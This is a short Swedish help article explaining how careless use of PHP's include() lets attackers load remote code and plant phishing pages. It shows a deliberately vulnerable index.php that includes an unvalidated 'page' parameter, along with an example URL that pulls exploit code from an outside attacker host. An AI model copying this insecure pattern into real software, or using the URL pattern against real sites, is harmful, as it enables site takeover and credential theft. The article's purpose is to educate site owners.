Säkerhet och PHP include

Det vanligaste säkerhetshålet i en hemsida uppbyggt med PHP är brister i användandet av funktionen include().

Ett vanligt tillvägagångsätt kan vara att man genom att experimentera med CGI-parametrar kan upptäcka säkerhetsproblem som ofta är relaterade till hur den aktuella hemsidan använder sig av funktionen include().

När ett sådant problem upptäcks kan man genom att skicka in specialkonstruerade CGI-parametrar till hemsidan lura hemsidan att ladda in PHP-sidor som finns på andra servrar.

PHP-sidan som laddades från en annan server kan innehålla vad som helst, exempelvis kan det vara en sida där man kan ladda upp vad man vill till vilken katalog som helst inom en hemsida. Det kan till exempel vara en phishingsida som du kan läsa mer om här.

Personen som utför ingreppet skickar sedan e-post till en mängd epost-adresser (gör ett spam-utskick), sätter avsändaren till något som ser officiellt ut från hemsidan de angriper och inkluderar en länk till den kapade hemsidan. Oftast med ett meddelande om att man behöver logga in för att ändra sina kontaktuppgifter eller liknande.

Eftersom sidan man kommer till när man klickar på länken ser ut precis som hemsidans egen inloggningssida så blir många lurade att logga in. De vill ju byta sitt lösenord, eftersom det stod i det e-postmeddelande de fick att de behövde göra det.

Den förfalskade login-sidan sparar inloggningarna och mailar iväg dom till en e-postadress som personen som la upp phishingsiten läser av. Denne får nu tillgång till en massa riktiga inloggningar hos hemsidan och kan använda dessa för att exempelvis tömma bankkonton.

Ett exempel på PHP-include-problematiken.

Om man har en hemsida, http://www.mindomän.se och en sida där som heter index.php med följande innehåll:

<?
$sida = $_GET['page']
?>
<html>
<body>
<? include "$sida.php"; ?>
</body>
</html>

Besökaren kan nu titta på http://www.mindomän.se/index.php?page=http://www.farlig-sida.se/exploit.txt.

Låt oss säga att det ligger PHP-kod på http://www.farlig-sida.se/exploit.txt.php, exempelvis för uppladdningssida. När man besöker URL:en ovan så kommer denna kod att visas. Använder man include på detta sätt innebär det att sidan laddas från www.farlig-sida.se men körs på www.mindomän.se.

Besökaren skulle nu kunna ladda upp saker till www.mindomän.se via denna uppladdningssida. Det behöver såklart inte vara en uppladdningssida, det kan lika gärna vara något annat. Kanske en sida som ersätter index.php, tar bort/ändrar på något annat på hemsidan, eller lägger upp en phishingsite.

Var den här artikeln till hjälp?

Relaterade artiklar